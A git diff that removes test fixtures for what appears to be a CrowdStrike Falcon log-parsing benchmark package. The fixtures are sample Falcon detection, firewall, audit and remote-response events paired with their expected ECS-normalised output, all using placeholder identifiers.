\"https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"MitreAttack\": [\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\t\t\"TacticID\": \"CSTA0009\",\n\t\t\t\t\"Technique\": \"Bad device settings\",\n\t\t\t\t\"TechniqueID\": \"CST0024\"\n\t\t\t}\n\t\t],\n\t\t\"MobileAppsDetails\": [{\n\t\t\t\"AppIdentifier\": \"com.facebook.katana\",\n\t\t\t\"AndroidAppLabel\": \"Facebook\",\n\t\t\t\"DexFileHashes\": \"abc456xxxxxxxxxxxxxxxxdef789\",\n\t\t\t\"ImageFileName\": \"/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk\",\n\t\t\t\"AppInstallerInformation\": \"unknown\",\n\t\t\t\"IsBeingDebugged\": false,\n\t\t\t\"AndroidAppVersionName\": \"323.0.0.46.119\",\n\t\t\t\"IsContainerized\": false\n\t\t}]\n\t}\n}", - "reference": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV", - "type": [ - "info" - ] - }, - "host": { - "name": "TESTComputer" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "TESTComputer" - ], - "user": [ - "TestUSER" - ] - }, - "rule": { - "description": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ", - "id": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238", - "name": "AppSideloadDetected" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "id": [ - "CSTA0009" - ], - "name": [ - "Insecure security posture" - ] - }, - "technique": { - "id": [ - "CST0024" - ], - "name": [ - "Bad device settings" - ] - } - }, - "user": { - "name": "TestUSER" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log deleted file mode 100644 index d411bb7c1a..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log +++ /dev/null @@ -1 +0,0 @@ -400 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json deleted file mode 100644 index c97daacf23..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "expected": [ - null - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log deleted file mode 100644 index 8d77763fc5..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log +++ /dev/null @@ -1,23 +0,0 @@ -{ - "metadata": { - "customerIDString": "1231231231231", - "offset": 2664218, - "eventType": "ReconNotificationSummaryEvent", - "eventCreationTime": 1686889114000, - "version": "1.0" - }, - "event": { - "NotificationId": "oifgdjgpoidfsjhpoihio", - "Highlights": [ - "Some highlighed text \u0026lt;cs-highlight\u0026gt;test\u0026lt;/cs-highlight\u0026gt; \u0026lt;cs-highlight\u0026gt;gdsfgasd\u0026lt;/cs-highlight\u0026gt;.\n\nAs an Some more text" - ], - "MatchedTimestamp": 1686889114000, - "RuleId": "123543-0cb1-4806-9ccd-a543123", - "RuleName": "TestRuleName", - "RuleTopic": "TestRuleTopic", - "RulePriority": "high", - "ItemId": "oigjfdsiughsiopudhfoiusadhfiouhipou==", - "ItemType": "post", - "ItemPostedTimestamp": 1686873909000 - } -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json deleted file mode 100644 index 5d97d87ebb..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json +++ /dev/null @@ -1,53 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2023-06-16T04:18:34.000Z", - "crowdstrike": { - "event": { - "Highlights": [ - "Some highlighed text <cs-highlight>test</cs-highlight> <cs-highlight>gdsfgasd</cs-highlight>.\n\nAs an Some more text" - ], - "ItemPostedTimestamp": 1686873909000, - "ItemType": "post", - "NotificationId": "oifgdjgpoidfsjhpoihio", - "RulePriority": "high" - }, - "metadata": { - "customerIDString": "1231231231231", - "eventType": "ReconNotificationSummaryEvent", - "offset": 2664218, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "recon-notification-post", - "category": [ - "threat" - ], - "created": "2023-06-16T00:05:09.000Z", - "id": "oigjfdsiughsiopudhfoiusadhfiouhipou==", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"1231231231231\",\n \"offset\": 2664218,\n \"eventType\": \"ReconNotificationSummaryEvent\",\n \"eventCreationTime\": 1686889114000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"NotificationId\": \"oifgdjgpoidfsjhpoihio\",\n \"Highlights\": [\n \"Some highlighed text \\u0026lt;cs-highlight\\u0026gt;test\\u0026lt;/cs-highlight\\u0026gt; \\u0026lt;cs-highlight\\u0026gt;gdsfgasd\\u0026lt;/cs-highlight\\u0026gt;.\\n\\nAs an Some more text\"\n ],\n \"MatchedTimestamp\": 1686889114000,\n \"RuleId\": \"123543-0cb1-4806-9ccd-a543123\",\n \"RuleName\": \"TestRuleName\",\n \"RuleTopic\": \"TestRuleTopic\",\n \"RulePriority\": \"high\",\n \"ItemId\": \"oigjfdsiughsiopudhfoiusadhfiouhipou==\",\n \"ItemType\": \"post\",\n \"ItemPostedTimestamp\": 1686873909000\n }\n}", - "type": [ - "indicator" - ] - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "rule": { - "description": "TestRuleTopic", - "id": "123543-0cb1-4806-9ccd-a543123", - "name": "TestRuleName", - "ruleset": "TestRuleTopic" - }, - "tags": [ - "preserve_original_event" - ] - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log deleted file mode 100644 index 71cf205a36..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log +++ /dev/null @@ -1,30 +0,0 @@ -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 1045, - "eventType": "RemoteResponseSessionStartEvent", - "eventCreationTime": 1582830734000, - "version": "1.0" - }, - "event": { - "SessionId": "12345a1bc2d34fghi56jk7890lmno12p", - "HostnameField": "hostnameofmachine", - "UserName": "first.last@company.com", - "StartTimestamp": 1582830734 - } -} -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 1046, - "eventType": "RemoteResponseSessionEndEvent", - "eventCreationTime": 1582830772000, - "version": "1.0" - }, - "event": { - "SessionId": "12345a1bc2d34fghi56jk7890lmno12p", - "HostnameField": "hostnameofmachine", - "UserName": "first.last@company.com", - "EndTimestamp": 1582830772 - } -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json deleted file mode 100644 index 144ede533f..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json +++ /dev/null @@ -1,120 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2020-02-27T19:12:14.000Z", - "crowdstrike": { - "event": { - "SessionId": "12345a1bc2d34fghi56jk7890lmno12p" - }, - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "eventType": "RemoteResponseSessionStartEvent", - "offset": 1045, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "remote_response_session_start_event" - ], - "category": [ - "network", - "session" - ], - "created": "2020-02-27T19:12:14.000Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 1045,\n \"eventType\": \"RemoteResponseSessionStartEvent\",\n \"eventCreationTime\": 1582830734000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"SessionId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"HostnameField\": \"hostnameofmachine\",\n \"UserName\": \"first.last@company.com\",\n \"StartTimestamp\": 1582830734\n }\n}", - "start": "2020-02-27T19:12:14.000Z", - "type": [ - "start" - ] - }, - "host": { - "name": "hostnameofmachine" - }, - "message": "Remote response session started.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "hostnameofmachine" - ], - "user": [ - "first.last", - "first.last@company.com" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "first.last@company.com", - "name": "first.last" - } - }, - { - "@timestamp": "2020-02-27T19:12:52.000Z", - "crowdstrike": { - "event": { - "SessionId": "12345a1bc2d34fghi56jk7890lmno12p" - }, - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "eventType": "RemoteResponseSessionEndEvent", - "offset": 1046, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "remote_response_session_end_event" - ], - "category": [ - "network", - "session" - ], - "created": "2020-02-27T19:12:52.000Z", - "end": "2020-02-27T19:12:52.000Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 1046,\n \"eventType\": \"RemoteResponseSessionEndEvent\",\n \"eventCreationTime\": 1582830772000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"SessionId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"HostnameField\": \"hostnameofmachine\",\n \"UserName\": \"first.last@company.com\",\n \"EndTimestamp\": 1582830772\n }\n}", - "type": [ - "end" - ] - }, - "host": { - "name": "hostnameofmachine" - }, - "message": "Remote response session ended.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "hostnameofmachine" - ], - "user": [ - "first.last", - "first.last@company.com" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "first.last@company.com", - "name": "first.last" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log deleted file mode 100644 index c14c961ca7..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log +++ /dev/null @@ -1,345 +0,0 @@ -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 70689, - "eventType": "FirewallMatchEvent", - "eventCreationTime": 1595248906000, - "version": "1.0" - }, - "event": { - "DeviceId": "718af202ab2c4ba5b6a5d10d39c0e0a5", - "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p", - "Ipv": "ipv4", - "CommandLine": "", - "ConnectionDirection": "1", - "EventType": "FirewallRuleIP4Matched", - "Flags": { - "Audit": false, - "Log": false, - "Monitor": true - }, - "HostName": "TESTDEVICE01", - "ICMPCode": "", - "ICMPType": "", - "ImageFileName": "", - "LocalAddress": "10.37.60.194", - "LocalPort": "445", - "MatchCount": 1, - "MatchCountSinceLastReport": 1, - "NetworkProfile": "2", - "PID": "206158879910", - "PolicyName": "PROD-FW-Workstations-General", - "PolicyID": "74e7f1552a3a4d90a6d65578642c8584", - "Protocol": "6", - "RemoteAddress": "10.37.60.21", - "RemotePort": "54952", - "RuleAction": "2", - "RuleDescription": "", - "RuleFamilyID": "fec73e96a1bf4481be582c3f89b234fa", - "RuleGroupName": "SMB Rules", - "RuleName": "Inbound SMB Block \u0026 Log Private", - "RuleId": "4877172638743447345", - "Status": "", - "Timestamp": "2020-07-20T12:41:44Z", - "TreeID": "" - } -} -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 57181, - "eventType": "IncidentSummaryEvent", - "eventCreationTime": 1595005328414, - "version": "1.0" - }, - "event": { - "IncidentStartTime": 1595005316, - "IncidentEndTime": 1595005316, - "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54", - "State": "open", - "FineScore": 0.1, - "LateralMovement": 0 - } -} -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 70509, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1595247970093, - "version": "1.0" - }, - "event": { - "UserId": "first.last@company.com", - "UserIp": "67.43.156.15", - "OperationName": "saml2Assert", - "ServiceName": "Crowdstrike Authentication", - "Success": true, - "UTCTimestamp": 1595247970, - "AuditKeyValues": [ - { - "Key": "trace_id", - "ValueString": "b0b33836-555c-4e0e-a5ef-d368f6799f6b" - }, - { - "Key": "actor_user", - "ValueString": "first.last@company.com" - }, - { - "Key": "actor_user_uuid", - "ValueString": "123ab123-abc1-12a1-12a1-12a1ab12a1a1" - }, - { - "Key": "actor_cid", - "ValueString": "123456a1ab1a12abc12ab1234abcd12a" - }, - { - "Key": "target_user", - "ValueString": "first.last@company.com" - } - ] - } -} -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 70683, - "eventType": "UserActivityAuditEvent", - "eventCreationTime": 1595248885000, - "version": "1.0" - }, - "event": { - "UserId": "Crowdstrike", - "UserIp": "", - "OperationName": "quarantined_file_update", - "ServiceName": "quarantined_files", - "AuditKeyValues": [ - { - "Key": "quarantined_file_id", - "ValueString": "ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21" - }, - { - "Key": "action_taken", - "ValueString": "quarantined" - } - ], - "UTCTimestamp": 1595248885 - } -} -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 57217, - "eventType": "RemoteResponseSessionStartEvent", - "eventCreationTime": 1595006093000, - "version": "1.0" - }, - "event": { - "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e", - "HostnameField": "TESTDEVICE01", - "UserName": "first.last@company.com", - "StartTimestamp": 1595006093 - } -} -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 57269, - "eventType": "RemoteResponseSessionEndEvent", - "eventCreationTime": 1595006899000, - "version": "1.0" - }, - "event": { - "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e", - "HostnameField": "TESTDEVICE01", - "UserName": "first.last@company.com", - "EndTimestamp": 1595006899, - "Commands": [ - "cd \\Program Files (x86)\\Symantec", - "ls .", - "cd \\Program Files (x86)", - "ls .", - "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default", - "reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```", - "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default", - "restart", - "restart -Confirm" - ] - } -} -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 57047, - "eventType": "DetectionSummaryEvent", - "eventCreationTime": 1595002291000, - "version": "1.0" - }, - "event": { - "ProcessStartTime": 1595002290, - "ProcessEndTime": 1595002290, - "ProcessId": 663790158277, - "ParentProcessId": 627311656469, - "ComputerName": "TESTDEVICE01", - "UserName": "First.last", - "DetectName": "NGAV", - "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.", - "Severity": 2, - "SeverityName": "Low", - "FileName": "filename.exe", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path", - "CommandLine": "\"C:\\ProgramData\\file\\path\\filename.exe\" ", - "SHA256String": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", - "MD5String": "0ab1235adca04aef6239f5496ef0a5df", - "SHA1String": "0000000000000000000000000000000000000000", - "MachineDomain": "NA", - "ExecutablesWritten": [ - { - "Timestamp": 1595002290, - "FileName": "NEURO_200_J1939Configuration.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" - }, - { - "Timestamp": 1595002290, - "FileName": "NEURO_200_J1939Configuration.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" - }, - { - "Timestamp": 1595002290, - "FileName": "NEURO_200_J1939CanPackMessage.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" - }, - { - "Timestamp": 1595002290, - "FileName": "NEURO_200_J1939CanPackMessage.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" - } - ], - "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p", - "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0", - "IOCType": "hash_sha256", - "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", - "DetectId": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719", - "LocalIP": "10.1.190.117", - "MACAddress": "54-ad-d4-d2-a8-0b", - "Tactic": "Machine Learning", - "Technique": "Sensor-based ML", - "Objective": "Falcon Detection Method", - "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.", - "PatternDispositionValue": 2304, - "PatternDispositionFlags": { - "Indicator": false, - "Detect": false, - "InddetMask": false, - "SensorOnly": false, - "Rooting": false, - "KillProcess": false, - "KillSubProcess": false, - "QuarantineMachine": false, - "QuarantineFile": false, - "PolicyDisabled": true, - "KillParent": false, - "OperationBlocked": false, - "ProcessBlocked": true, - "RegistryOperationBlocked": false, - "CriticalProcessDisabled": false, - "BootupSafeguardEnabled": false, - "FsOperationBlocked": false - }, - "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe", - "ParentCommandLine": "C:\\Windows\\Explorer.EXE", - "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe", - "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe" - } -} -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 57047, - "eventType": "DetectionSummaryEvent", - "eventCreationTime": 1595002291000, - "version": "1.0" - }, - "event": { - "ProcessStartTime": 1595002290, - "ProcessEndTime": 1595002290, - "ProcessId": 663790158277, - "ParentProcessId": 627311656469, - "ComputerName": "TESTDEVICE01", - "UserName": "First.last", - "DetectName": "NGAV", - "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.", - "Severity": 2, - "SeverityName": "Low", - "FileName": "filename.exe", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path", - "CommandLine": "\"C:\\ProgramData\\file\\path\\filename.exe\" ", - "SHA256String": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", - "MD5String": "0ab1235adca04aef6239f5496ef0a5df", - "SHA1String": "0000000000000000000000000000000000000000", - "MachineDomain": "NA", - "ExecutablesWritten": [ - { - "Timestamp": 1595002290, - "FileName": "NEURO_200_J1939Configuration.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" - }, - { - "Timestamp": 1595002290, - "FileName": "NEURO_200_J1939Configuration.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" - }, - { - "Timestamp": 1595002290, - "FileName": "NEURO_200_J1939CanPackMessage.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" - }, - { - "Timestamp": 1595002290, - "FileName": "NEURO_200_J1939CanPackMessage.mexw64", - "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" - } - ], - "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p", - "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0", - "IOCType": "hash_sha256", - "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", - "DetectId": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719", - "LocalIP": "10.1.190.117", - "MACAddress": "54-ad-d4-d2-a8-0b", - "Tactic": "Machine Learning", - "Technique": "Sensor-based ML", - "Objective": "Falcon Detection Method", - "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.", - "PatternDispositionValue": 2304, - "PatternDispositionFlags": { - "Indicator": false, - "Detect": false, - "InddetMask": false, - "SensorOnly": false, - "Rooting": false, - "KillProcess": false, - "KillSubProcess": false, - "QuarantineMachine": false, - "QuarantineFile": false, - "PolicyDisabled": true, - "KillParent": false, - "OperationBlocked": false, - "ProcessBlocked": true, - "RegistryOperationBlocked": false, - "CriticalProcessDisabled": false, - "BootupSafeguardEnabled": false, - "FsOperationBlocked": false - }, - "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe", - "ParentCommandLine": "C:\\Windows\\Explorer.EXE", - "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe", - "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe", - "MitreAttack": [ - { - "Tactic": "Machine Learning", - "Technique": "Sensor-based ML" - } - ] - } -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json deleted file mode 100644 index c0682110a8..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json +++ /dev/null @@ -1,743 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2020-07-20T12:41:46.000Z", - "crowdstrike": { - "event": { - "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p", - "DeviceId": "718af202ab2c4ba5b6a5d10d39c0e0a5", - "Flags": { - "Audit": false, - "Log": false, - "Monitor": true - }, - "MatchCount": 1, - "MatchCountSinceLastReport": 1, - "NetworkProfile": "2", - "PolicyID": "74e7f1552a3a4d90a6d65578642c8584", - "PolicyName": "PROD-FW-Workstations-General", - "Protocol": "6", - "RuleAction": "2", - "Timestamp": "2020-07-20T12:41:44Z" - }, - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "eventType": "FirewallMatchEvent", - "offset": 70689, - "version": "1.0" - } - }, - "destination": { - "ip": "10.37.60.194", - "port": 445 - }, - "device": { - "id": "718af202ab2c4ba5b6a5d10d39c0e0a5" - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "firewall_match_event" - ], - "category": [ - "network" - ], - "code": "FirewallRuleIP4Matched", - "created": "2020-07-20T12:41:46.000Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 70689,\n \"eventType\": \"FirewallMatchEvent\",\n \"eventCreationTime\": 1595248906000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"DeviceId\": \"718af202ab2c4ba5b6a5d10d39c0e0a5\",\n \"CustomerId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"Ipv\": \"ipv4\",\n \"CommandLine\": \"\",\n \"ConnectionDirection\": \"1\",\n \"EventType\": \"FirewallRuleIP4Matched\",\n \"Flags\": {\n \"Audit\": false,\n \"Log\": false,\n \"Monitor\": true\n },\n \"HostName\": \"TESTDEVICE01\",\n \"ICMPCode\": \"\",\n \"ICMPType\": \"\",\n \"ImageFileName\": \"\",\n \"LocalAddress\": \"10.37.60.194\",\n \"LocalPort\": \"445\",\n \"MatchCount\": 1,\n \"MatchCountSinceLastReport\": 1,\n \"NetworkProfile\": \"2\",\n \"PID\": \"206158879910\",\n \"PolicyName\": \"PROD-FW-Workstations-General\",\n \"PolicyID\": \"74e7f1552a3a4d90a6d65578642c8584\",\n \"Protocol\": \"6\",\n \"RemoteAddress\": \"10.37.60.21\",\n \"RemotePort\": \"54952\",\n \"RuleAction\": \"2\",\n \"RuleDescription\": \"\",\n \"RuleFamilyID\": \"fec73e96a1bf4481be582c3f89b234fa\",\n \"RuleGroupName\": \"SMB Rules\",\n \"RuleName\": \"Inbound SMB Block \\u0026 Log Private\",\n \"RuleId\": \"4877172638743447345\",\n \"Status\": \"\",\n \"Timestamp\": \"2020-07-20T12:41:44Z\",\n \"TreeID\": \"\"\n }\n}", - "type": [ - "start", - "connection", - "denied" - ] - }, - "host": { - "name": "TESTDEVICE01" - }, - "message": "Firewall Rule: 'Inbound SMB Block & Log Private' triggered - Action: 'Blocked'", - "network": { - "direction": "ingress", - "type": "ipv4" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "entity_id": "206158879910", - "pid": 206158879910 - }, - "related": { - "hosts": [ - "TESTDEVICE01" - ], - "ip": [ - "10.37.60.21", - "10.37.60.194" - ] - }, - "rule": { - "category": "fec73e96a1bf4481be582c3f89b234fa", - "id": "4877172638743447345", - "name": "Inbound SMB Block & Log Private", - "ruleset": "SMB Rules" - }, - "source": { - "ip": "10.37.60.21", - "port": 54952 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-07-17T17:02:08.414Z", - "crowdstrike": { - "event": { - "FineScore": 0.1, - "State": "open" - }, - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "eventType": "IncidentSummaryEvent", - "offset": 57181, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "incident" - ], - "category": [ - "malware" - ], - "created": "2020-07-17T17:02:08.414Z", - "end": "2020-07-17T17:01:56.000Z", - "kind": "alert", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 57181,\n \"eventType\": \"IncidentSummaryEvent\",\n \"eventCreationTime\": 1595005328414,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"IncidentStartTime\": 1595005316,\n \"IncidentEndTime\": 1595005316,\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54\",\n \"State\": \"open\",\n \"FineScore\": 0.1,\n \"LateralMovement\": 0\n }\n}", - "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54", - "start": "2020-07-17T17:01:56.000Z", - "type": [ - "info" - ] - }, - "message": "Incident score 0.1", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-07-20T12:26:10.000Z", - "crowdstrike": { - "event": { - "AuditKeyValues": [ - { - "Key": "trace_id", - "ValueString": "b0b33836-555c-4e0e-a5ef-d368f6799f6b" - }, - { - "Key": "actor_user", - "ValueString": "first.last@company.com" - }, - { - "Key": "actor_user_uuid", - "ValueString": "123ab123-abc1-12a1-12a1-12a1ab12a1a1" - }, - { - "Key": "actor_cid", - "ValueString": "123456a1ab1a12abc12ab1234abcd12a" - }, - { - "Key": "target_user", - "ValueString": "first.last@company.com" - } - ], - "OperationName": "saml2Assert", - "Success": true - }, - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "eventType": 